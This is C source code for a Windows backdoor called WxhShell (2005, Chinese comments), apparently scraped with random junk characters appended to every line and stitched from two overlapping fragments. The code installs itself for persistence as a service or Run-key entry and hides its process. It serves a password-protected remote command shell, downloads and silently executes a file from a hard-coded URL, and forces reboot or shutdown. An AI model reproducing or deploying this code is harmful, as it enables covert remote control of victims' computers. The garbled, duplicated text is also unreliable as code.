    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K/l*Saj  
    else { TN=!;SvQU  
    closesocket(wsh); Zsto8wuf#  
    ExitThread(0); G_E \p%L>]  
    } "nA~/t=  
    break; 8dUP_t~d#q  
    } OnND(YiX  
  // 获取shell 2EC<8}CG  
  case 's': { B1k;!@@1 4  
    CmdShell(wsh); }8Yu"P${Y  
    closesocket(wsh); V6!1(|  
    ExitThread(0); 9>-]*7  
    break; w s([bS2h  
  } ?3yrX _Qm{  
  // 退出 vo"?a~kY7  
  case 'x': { )qeed-{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WzqYB a  
    CloseIt(wsh); oU/{<gs  
    break; w{"ro~9o  
    } 18WJ*q7:  
  // 离开 ] L6LB \  
  case 'q': { RQ;}+S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H$k2S5,,z  
    closesocket(wsh); 8zrLl:{  
    WSACleanup(); ?BnX<dbi&  
    exit(1); uwc@~=;  
    break; [;pL15-}4  
        } I\~sE Jwj  
  } v 8B4%1NE  
  } -+z8bZ  
miB+'n"zS  
  // 提示信息 o#QS: '|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !-~sxa280r  
} y41~  
  } A(D3wctdr  
PlRcrT"#w  
  return; +GL[uxe "  
} #:xv]qb`k  
Zo#c[9IaC  
// shell模块句柄 |.?X ov]  
int CmdShell(SOCKET sock) D zdKBJT+  
{ K)#6&\0tT  
STARTUPINFO si; %cl{J_}{&  
ZeroMemory(&si,sizeof(si)); 6){nu rDBG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,FK.8c6g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <AN5>:k[pM  
PROCESS_INFORMATION ProcessInfo; Sv\399(  
char cmdline[]="cmd"; Hn}m}A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @y/!`Ziw  
  return 0; 'B;n&tJ   
} Wg=qlux-  
a49t/  
// 自身启动模式 * zc[t  
int StartFromService(void) F13vc~$Ky  
{ ddwokXx (  
typedef struct |e91KmiqJ  
{ cuh Z_l  
  DWORD ExitStatus; Wrf+5 ;,,  
  DWORD PebBaseAddress; 4l@aga  
  DWORD AffinityMask; JOo+RA5d  
  DWORD BasePriority; `RyH~4\;  
  ULONG UniqueProcessId; |& _(I  
  ULONG InheritedFromUniqueProcessId;  tPChVnB  
}   PROCESS_BASIC_INFORMATION; `B/74Wa3q  
@}io K=A  
PROCNTQSIP NtQueryInformationProcess; b!T-{Ns6  
&*; Z(ul&9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )W>9{*4 m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qov*xRO6  
4k)0OQeW6  
  HANDLE             hProcess; %(B6eiA  
  PROCESS_BASIC_INFORMATION pbi; ;umbld0  
4ah5}9{g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vRLWs`1j  
  if(NULL == hInst ) return 0; 5s:g(gy3BR  
-Yg?@yt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [tkP2%1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BFQ`Ab+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =%d.wH?dZ/  
9>/:c\q+  
  if (!NtQueryInformationProcess) return 0; 'H(khS  
Vo%DoZg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5P[urOvV  
  if(!hProcess) return 0; dMK\ y4#i  
1IN^,A]r2h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N~%~Q  
^L-; S  
  CloseHandle(hProcess); $9ys! <g  
,S?M;n?z_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]Y3s5#n  
if(hProcess==NULL) return 0; jZ0/@zOf  
x\!vr.  
HMODULE hMod; =a6e*f  
char procName[255]; A\v]ZN4  
unsigned long cbNeeded; 7Mb-v}  
n9Ktn}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u-=VrHff^*  
J+=?taZ  
  CloseHandle(hProcess); K1t>5zm  
V U~r~  
if(strstr(procName,"services")) return 1; // 以服务启动 |u.3Tp|3W  
QG 1vP.K  
  return 0; // 注册表启动 g2 tM!IRQ  
} ;FnS=Z  
WfYC`e7q  
// 主模块 )D" 2Q:  
int StartWxhshell(LPSTR lpCmdLine) v[~Q   
{ _.xicov  
  SOCKET wsl; ?&bB?mg\  
BOOL val=TRUE; Y{<SD-ibZ$  
  int port=0; Ph17(APt,Q  
  struct sockaddr_in door; -+W E9  
'~E=V:6  
  if(wscfg.ws_autoins) Install(); c\VD8 :  
tJpK/"R'  
port=atoi(lpCmdLine); 9:7&`J lC#  
d_ji ..T  
if(port<=0) port=wscfg.ws_port; oG=4&SQ  
+0M0g_sk  
  WSADATA data; S6{u(= H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dyh|F\T  
cG5u$B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Mh=j^ [4Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w\ddC DZ  
  door.sin_family = AF_INET; R/kF,}^F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  6Ok]E`  
  door.sin_port = htons(port); lbC9^~T+  
/|8/C40aY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g5t`YcL  
closesocket(wsl); .}n\c%&  
return 1; |9]_<X[ic  
} ^=y%s  
yE|hA2G?0  
  if(listen(wsl,2) == INVALID_SOCKET) { 5RR4jX]  
closesocket(wsl); ageTv/  
return 1; r tH #j  
} ^AC2  zC  
  Wxhshell(wsl); ,YF1* 69  
  WSACleanup(); KdC'#$  
MGH2z:  
return 0; ilwIqj  
unt{RVR%  
} P9 qZjBS  
m[tsG=XBN  
// 以NT服务方式启动 ;8yEhar  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /#!1  
{ -GYJ)f  
DWORD   status = 0; i)7B :uA  
  DWORD   specificError = 0xfffffff; #dkSAS  
m=V69 a#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d bHxc@H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b ; U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |};-.}u^`h  
  serviceStatus.dwWin32ExitCode     = 0; a'?V:3 ]  
  serviceStatus.dwServiceSpecificExitCode = 0; FA1h!Vit  
  serviceStatus.dwCheckPoint       = 0; D(#6H~QN%  
  serviceStatus.dwWaitHint       = 0; VUzRA"DP|  
r>J%Eu/O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CB`GiH/j  
  if (hServiceStatusHandle==0) return; EOo,olklC  
oT"7O 5v  
status = GetLastError(); DUb8 HgcV}  
  if (status!=NO_ERROR) z4JhLef%  
{ qEfg-`*M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {}"a_L&[;  
    serviceStatus.dwCheckPoint       = 0; p:3 V-$4X  
    serviceStatus.dwWaitHint       = 0; 4VHX4A}CgA  
    serviceStatus.dwWin32ExitCode     = status; b?k6-r$j  
    serviceStatus.dwServiceSpecificExitCode = specificError; iVA=D&eZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +<fT\Oq#  
    return;  J9lG0  
  } [E9)Da_)i  
JN3&(t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #Ht;5p>5  
  serviceStatus.dwCheckPoint       = 0; ko6[Ej:TBo  
  serviceStatus.dwWaitHint       = 0; {~ 1 ~V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5W(`lgVs,  
} &<t`EI];)4  
E6#")2C~  
// 处理NT服务事件,比如:启动、停止 |l:,EA_v|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fHXz{,?/w  
{ U _~r0  
switch(fdwControl) 8}?w %FsN#  
{ !&pk^VFl+  
case SERVICE_CONTROL_STOP: F{laA YE  
  serviceStatus.dwWin32ExitCode = 0; O}X@QG2_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &_,.*tha  
  serviceStatus.dwCheckPoint   = 0; Cw h[R  
  serviceStatus.dwWaitHint     = 0; U9"Ij}  
  { 3 ]w a8|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fK+[r1^  
  } rS_pv=0S  
  return; CmdPa!4)  
case SERVICE_CONTROL_PAUSE: ';I(#J6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CIAKXYM  
  break; m.c2y6<=  
case SERVICE_CONTROL_CONTINUE: X)S4vqf}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kc+TcC  
  break; :a_MT  
case SERVICE_CONTROL_INTERROGATE: yD Avl+  
  break; 8" (j_~;  
}; dm"|\7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L 7l"*w(  
} E+~1GKd  
S y^et  
// 标准应用程序主函数 yLQwG.,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Za7!n{? 0  
{ t LM/STb6  
ET\rd5Po  
// 获取操作系统版本 O ;m[  
OsIsNt=GetOsVer(); RM#.-gW   
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Oc |Oo  
xOKf|  
  // 从命令行安装 Xvxj-\ -  
  if(strpbrk(lpCmdLine,"iI")) Install(); GP_%. fO\M  
;9hS_%ldX4  
  // 下载执行文件 *ch7z|wo.  
if(wscfg.ws_downexe) { G@rV9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fT5vO.a  
  WinExec(wscfg.ws_filenam,SW_HIDE); rvPmd%nk-  
} VEBvS>i*  
Pl&x6\zL  
if(!OsIsNt) { dl+:u}9M$  
// 如果时win9x,隐藏进程并且设置为注册表启动 6nW]Q^N}  
HideProc(); a6hDw'8!  
StartWxhshell(lpCmdLine); B0,C!??5  
} D9\ EkX  
else }a!c  
  if(StartFromService()) 8jz7t:0  
  // 以服务方式启动 /<CgSW}  
  StartServiceCtrlDispatcher(DispatchTable); T.q7~ba*  
else LNF|mS\+D  
  // 普通方式启动 ~2O1$ou  
  StartWxhshell(lpCmdLine); iy [W:<c7j  
E<77Tj  
return 0; h3MZLPe  
} p s_o:*$l  
DxxY<OkN  
>!% +)  
h:4F?'W  
=========================================== JF(&+\i<p  
2@:Ztt6~  
)uy2,`z  
D()tP  
0134mw%jk  
isor%R!  
" :F pt>g  
5XinZ~  
#include <stdio.h> Zn]!*}  
#include <string.h> Dj'+,{7,u  
#include <windows.h> 0w?G&jjNtM  
#include <winsock2.h> 3EA`]&d>  
#include <winsvc.h> 7t|011<  
#include <urlmon.h> 73kI%nNB  
 zj7?2  
#pragma comment (lib, "Ws2_32.lib") PPj%.i)  
#pragma comment (lib, "urlmon.lib") dd!Q[]$ }  
nOq`Cwh9  
#define MAX_USER   100 // 最大客户端连接数 tWITr  
#define BUF_SOCK   200 // sock buffer rWN%Tai-  
#define KEY_BUFF   255 // 输入 buffer AQgm]ex<  
H1hADn  
#define REBOOT     0   // 重启 RpU.v `  
#define SHUTDOWN   1   // 关机 lBNB8c0e"{  
%KW NY(m  
#define DEF_PORT   5000 // 监听端口 [*^ rH:  
Sj@VOW  
#define REG_LEN     16   // 注册表键长度 [}Y_O*C !  
#define SVC_LEN     80   // NT服务名长度 uX~YDy  
   
// 从dll定义API q;9OqArq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?5rM'O2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {{ +8oRzY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i} ?\K>BWq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;6{{hc4  
F tay8m@f  
// wxhshell配置信息 $im6v  
struct WSCFG { 0hCUr]cZ,  
  int ws_port;         // 监听端口 +"JQ5~7  
  char ws_passstr[REG_LEN]; // 口令 8W}rS v+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hzojv<c  
  char ws_regname[REG_LEN]; // 注册表键名 5 IFc"  
  char ws_svcname[REG_LEN]; // 服务名  K<?[^\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $c7Utm s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QHw{@*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bipA{VU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |jyD@Q,4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xH{V.n&v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7!^Zsp^+  
u^+ (5|  
}; ]RTK:%  
z_A34@a  
// default Wxhshell configuration `k~w 14~w  
struct WSCFG wscfg={DEF_PORT, ?/^{sW' |  
    "xuhuanlingzhe", z i3gE$7  
    1, Jp +h''t  
    "Wxhshell", Ql? >,FZ  
    "Wxhshell", 9 N9Q#o$!.  
            "WxhShell Service", F{FSmUxzK  
    "Wrsky Windows CmdShell Service", JwcC9 O  
    "Please Input Your Password: ", RgLkAHA  
  1, Zl{ DqC^  
  "http://www.wrsky.com/wxhshell.exe", apv"s+  
  "Wxhshell.exe" E rnGX#@v  
    }; 4 |xQQv  
R6qC0@*  
// 消息定义模块 BaOPtBYA:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1JF>0ijU@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %oiA'hz;*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SaiYdJ  
char *msg_ws_ext="\n\rExit."; s^ K:cz  
char *msg_ws_end="\n\rQuit."; J9XV:)Yv#  
char *msg_ws_boot="\n\rReboot..."; c}D>.x|]  
char *msg_ws_poff="\n\rShutdown..."; z-;yDB:~t  
char *msg_ws_down="\n\rSave to "; 1L<X+,]@  
G33'Cgo:,  
char *msg_ws_err="\n\rErr!"; !E_RD,_  
char *msg_ws_ok="\n\rOK!"; gbN@EJ  
\zV'YeG  
char ExeFile[MAX_PATH]; SOQR(UT  
int nUser = 0; ;N!W|G  
HANDLE handles[MAX_USER]; ki9vJ<  
int OsIsNt; NA9ss  
J|N>}di  
SERVICE_STATUS       serviceStatus; n /Dk~Q)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `g:bvIV5x>  
|5me }!C  
// 函数声明 5g4xhYl70n  
int Install(void); <O9.GHV1v  
int Uninstall(void); TPWqiA?3Cp  
int DownloadFile(char *sURL, SOCKET wsh); k~pbXA*u  
int Boot(int flag); Nj`Miv o  
void HideProc(void); o&Sv2"2  
int GetOsVer(void); `&>CK`%Xu  
int Wxhshell(SOCKET wsl); [:cZDVaA|  
void TalkWithClient(void *cs); 9Q:}VpT~nG  
int CmdShell(SOCKET sock); 8M7pc{  
int StartFromService(void); 2jH&@g$cl;  
int StartWxhshell(LPSTR lpCmdLine); f<P>IE  
n^k Uu2g|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bb"x^DtT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L+TM3*a*  
[C(>e0r  
// 数据结构和表定义 JURJN+)z  
SERVICE_TABLE_ENTRY DispatchTable[] = #(d /A<  
{ o]m56  
{wscfg.ws_svcname, NTServiceMain}, >y^zagC*  
{NULL, NULL} L_ 2R3 w  
}; ~VaO,8&+L  
J7s\  
// 自我安装 c9axzg UA  
int Install(void) n]J;BW& Av  
{ Xsv^GmP+  
  char svExeFile[MAX_PATH]; =YeI,KbA)  
  HKEY key; `#>JRQ=  
  strcpy(svExeFile,ExeFile); \>(S?)6  
$Qq5Fx9kU  
// 如果是win9x系统,修改注册表设为自启动 \C;F5AO  
if(!OsIsNt) { -'Y@yIb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J)a^3>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /_CSRi&  
  RegCloseKey(key); 7s.vJdA]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A_<1}8{L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q^\f,E\S  
  RegCloseKey(key); :H`Z.>K  
  return 0; ]>k>Z#8E*  
    } 7="I;  
  } !nyUAZ9 :  
} /d]{ #,k  
else { `=rDB7!$yL  
!Zma\Ip  
// 如果是NT以上系统,安装为系统服务 %2`geN<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wNhtw'E8  
if (schSCManager!=0) zHW}A `Rz  
{ ~4[4"Pi>|  
  SC_HANDLE schService = CreateService #J)83  
  ( R|O."&CAB  
  schSCManager, PvB-Cqc  
  wscfg.ws_svcname, _4MT,kN  
  wscfg.ws_svcdisp, :h60  
  SERVICE_ALL_ACCESS, Z*Jp?[##  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ck\gazo~q  
  SERVICE_AUTO_START, Yeb-u+23  
  SERVICE_ERROR_NORMAL, 0@*EwI  
  svExeFile, ;c~%:|  
  NULL, fN{JLp  
  NULL, V( bU=;Qo  
  NULL,  R7-+@  
  NULL, ejI nJ  
  NULL tA6x  
  ); @$%[D`Wa<  
  if (schService!=0) Zi~-m]9U  
  { o"./  
  CloseServiceHandle(schService); n8vteGQ  
  CloseServiceHandle(schSCManager); p:q?8+W-r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 tIno!|  
  strcat(svExeFile,wscfg.ws_svcname); VA0p1AD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XZ!^kftyW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,zU7UL^I  
  RegCloseKey(key); E]IPag8C  
  return 0; CPS1b  
    } t+`>zux5(T  
  } NgPY/R>  
  CloseServiceHandle(schSCManager); 1>e%(k2w%  
} UO{3v ry48  
} ]@bu%_s"  
@-F[3`HeA  
return 1; ?v$kq}Rg  
} ~G*eJc0S:  
!K319 eE  
// 自我卸载 &fu J%  
int Uninstall(void) Bfz]PN78.G  
{ [_SV$Jz  
  HKEY key; _/ Uer }  
[j^c&}0  
if(!OsIsNt) { %h-?ff[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G0VbW-`O  
  RegDeleteValue(key,wscfg.ws_regname); i!9|R)c  
  RegCloseKey(key); Fi!XaO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ss>p  
  RegDeleteValue(key,wscfg.ws_regname); |g}~7*+i  
  RegCloseKey(key); #X?#v7i",D  
  return 0; Kx@;LRY#  
  } a]mPc^h  
} ;'g.%  
} (D 5.NB%@  
else { _pS!sY~d  
7y2-8e L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L-v-KO6  
if (schSCManager!=0) c (Gl3^  
{ Q!_@Am"h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o#ajBOJ  
  if (schService!=0) `tb@x ^  
  { KJ&~z? X  
  if(DeleteService(schService)!=0) { rAZsVnk?  
  CloseServiceHandle(schService); :VEy\ R>W  
  CloseServiceHandle(schSCManager); G)'(%rl  
  return 0; ~G ZpAPg*  
  } 2%F!aeX  
  CloseServiceHandle(schService); ELWm>'Q#9  
  } ij/5m-{6)  
  CloseServiceHandle(schSCManager); P:8P>#L  
} HD& Ag  
} 4`mF6%UC  
-w#Hy>E  
return 1; ?c!W*`yP  
} auKGm:  
NEG&zf  
// 从指定url下载文件 '7Aj0U(  
int DownloadFile(char *sURL, SOCKET wsh) 31@m36? X  
{ f/Q7WXl0  
  HRESULT hr; IR<`OA  
char seps[]= "/"; MH8Selnv  
char *token; L% cr `<~  
char *file; p0S;$dH\ D  
char myURL[MAX_PATH]; C@8WY  
char myFILE[MAX_PATH]; JIobs*e0m  
x\m?*5p  
strcpy(myURL,sURL); V%c1+h<  
  token=strtok(myURL,seps); y$n`+%_  
  while(token!=NULL) RU' WHk  
  { cA8"Ft{P)  
    file=token; H LnizE  
  token=strtok(NULL,seps); R6KS&Ge_  
  } E5y\t_H  
;:)?@IuSy  
GetCurrentDirectory(MAX_PATH,myFILE); JG=U@I]  
strcat(myFILE, "\\"); h+rrmC  
strcat(myFILE, file); [,1\>z|&  
  send(wsh,myFILE,strlen(myFILE),0); 0,x<@.pW  
send(wsh,"...",3,0); EN!Q]O|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "ccP,#Y  
  if(hr==S_OK) ~dO&e=6Hk  
return 0; d^Jf(NE0Yo  
else 4}\Dr %US  
return 1; zwyK \j  
H!+T2<F9R  
} w[V71Iej  
tbP ;iK'  
// 系统电源模块 ~!Q\\_  
int Boot(int flag) lN-[2vT<  
{ !]-ET7  
  HANDLE hToken; X+*"FKm S.  
  TOKEN_PRIVILEGES tkp; BVt)~HZ  
uWSfr(loX  
  if(OsIsNt) { /`j~r;S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WF.y"{6>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {hLS,Me  
    tkp.PrivilegeCount = 1; )G">7cg;t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X!w&ib-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wv eej@zs  
if(flag==REBOOT) { 32N *E,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J:q:g*Wi  
  return 0; mP?~#RZ  
} o|v_+<zD!  
else { 8@f=GJf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gZ^NdDBO  
  return 0; pxs#OP  
} > ,v,4,c  
  } -X6[qLq  
  else { l{7q(  
if(flag==REBOOT) { kZsat4r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _Zq2 <:  
  return 0; @sV6g?{tI  
} 9z:P#=Q:  
else { y^SDt3Am  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V+M=@Pvp9  
  return 0; #!WD1a?L  
} AxOn~fZ!  
} hu G]kv3F:  
lR9~LNK?  
return 1; zoU-*Rs6  
} -zq_W+)ks  
Z3)l5JG)  
// win9x进程隐藏模块 ezC2E/#  
void HideProc(void) : Nf-}"  
{ ?1f(@  
NG2@.hP:uU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2 P=c1;  
  if ( hKernel != NULL ) "[*W=6m0  
  { z}" Xt=G?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &mM[q 'V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2[Ja|W\If  
    FreeLibrary(hKernel); km]RrjRp  
  } }h6 N.vz  
{bSi3oI  
return; B[]v[q<  
} ?G#T6$E8  
whzV7RT  
// 获取操作系统版本 Z|z+[V}[  
int GetOsVer(void) `qjiC>9  
{ pV3o\bk!  
  OSVERSIONINFO winfo; V ?10O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fFHT`"bD:  
  GetVersionEx(&winfo); ~;f,Ad`Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2 f8Cs$Opb  
  return 1; "Zh6j)[o  
  else c&Mci"n j0  
  return 0; Iaq7<$XU  
} k lRS:\dW  
K'`N(WiL  
// 客户端句柄模块 Dt9[uyP&  
int Wxhshell(SOCKET wsl) c&+p{hH+  
{ kc3dWWPe  
  SOCKET wsh; Puu O2TZ  
  struct sockaddr_in client; =]OG5b_-Y  
  DWORD myID; !Ol>![  
9K>$  
  while(nUser<MAX_USER) O~r.sJ}  
{ +~6gP!  
  int nSize=sizeof(client); Wm5/>Cu,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H!D?;X  
  if(wsh==INVALID_SOCKET) return 1; vsjl8L  
RaS7IL:e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); | 'SqG}h  
if(handles[nUser]==0) -N')LY  
  closesocket(wsh); l>i<J1  
else QsaaA MGY  
  nUser++; _pX y}D  
  } Z|FWQ8gZ4m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8TK&i,  
u |h T1l  
  return 0; ^_5Nh^  
} .,C8ASfh  
}}";)}C`  
// 关闭 socket PKT/U^2X]  
void CloseIt(SOCKET wsh) (W7cQ>  
{ \X=?+| 9  
closesocket(wsh); Z2yZz:.'  
nUser--; "]%.%$  
ExitThread(0); 9tW=9<E  
} Yy4? |wVl  
F8\nAX  
// 客户端请求句柄 /$7_*4e  
void TalkWithClient(void *cs) nyZUf{:  
{ :EISms  
?mK`Wleh?  
  SOCKET wsh=(SOCKET)cs; Ip/_uDi+!Z  
  char pwd[SVC_LEN]; ,= ;d<O8  
  char cmd[KEY_BUFF]; o%+8.Tx6wT  
char chr[1]; 7/ "g} F}Q  
int i,j; !N4?>[E  
$e=pdD~  
  while (nUser < MAX_USER) { \BT8-}  
ZiBTe,;  
if(wscfg.ws_passstr) { DK/xHIv8-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +H[G D!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }";\8  
  //ZeroMemory(pwd,KEY_BUFF); y/>]6Pj  
      i=0; SArSi6vF  
  while(i<SVC_LEN) { 5I!EsW$sY  
SBBDlr^P  
  // 设置超时 87P.K Yy  
  fd_set FdRead; lNcXBtwK@#  
  struct timeval TimeOut; 2=3pV!)4}  
  FD_ZERO(&FdRead); IK%fX/tDyc  
  FD_SET(wsh,&FdRead); f^8,Z+n  
  TimeOut.tv_sec=8; &;~x{q]3  
  TimeOut.tv_usec=0; D8otU DB{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T@PtO "r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WXqrx*?*+  
uTN mt]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;?/v}$Pa  
  pwd=chr[0]; Ou~|Q&f'  
  if(chr[0]==0xd || chr[0]==0xa) { %&L]k>n^  
  pwd=0; VU1 ;ZJ E  
  break; 6vVx>hFJ47  
  } O`nrXC{  
  i++; <lHelX=/  
    } V9:h4]  
DP=4<ES%+  
  // 如果是非法用户,关闭 socket n3, ?klK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y*,3P0*z  
} <<@vy{*Hg  
aB9Pdu t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?UAB}CjY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IfHB+H   
/n= %#{  
while(1) { iyw "|+  
(>THN*i  
  ZeroMemory(cmd,KEY_BUFF); WH F>J  
qRMH[F$`  
      // 自动支持客户端 telnet标准   t'@1FA!)  
  j=0; {'W\~GnZ  
  while(j<KEY_BUFF) { *@J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <(Ub(  
  cmd[j]=chr[0]; >;S/$  
  if(chr[0]==0xa || chr[0]==0xd) { zbt>5S_  
  cmd[j]=0; n>F1G MX  
  break; R v6 1*F4  
  } YYFJJ,7?  
  j++; tcYbM+4e  
    } zmf`}j[  
5}3Q}o#  
  // 下载文件 38IVSK_  
  if(strstr(cmd,"http://")) { ,Mf@I5?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !br0s(|  
  if(DownloadFile(cmd,wsh)) ?MevPy`H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &DdFK.lt  
  else |I7-7d-; /  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .aWEXJ  
  } ar.w'z  
  else { . W{\wk n  
.d:sQ\k~=  
    switch(cmd[0]) { B mq7w,L.  
  ShAI6j  
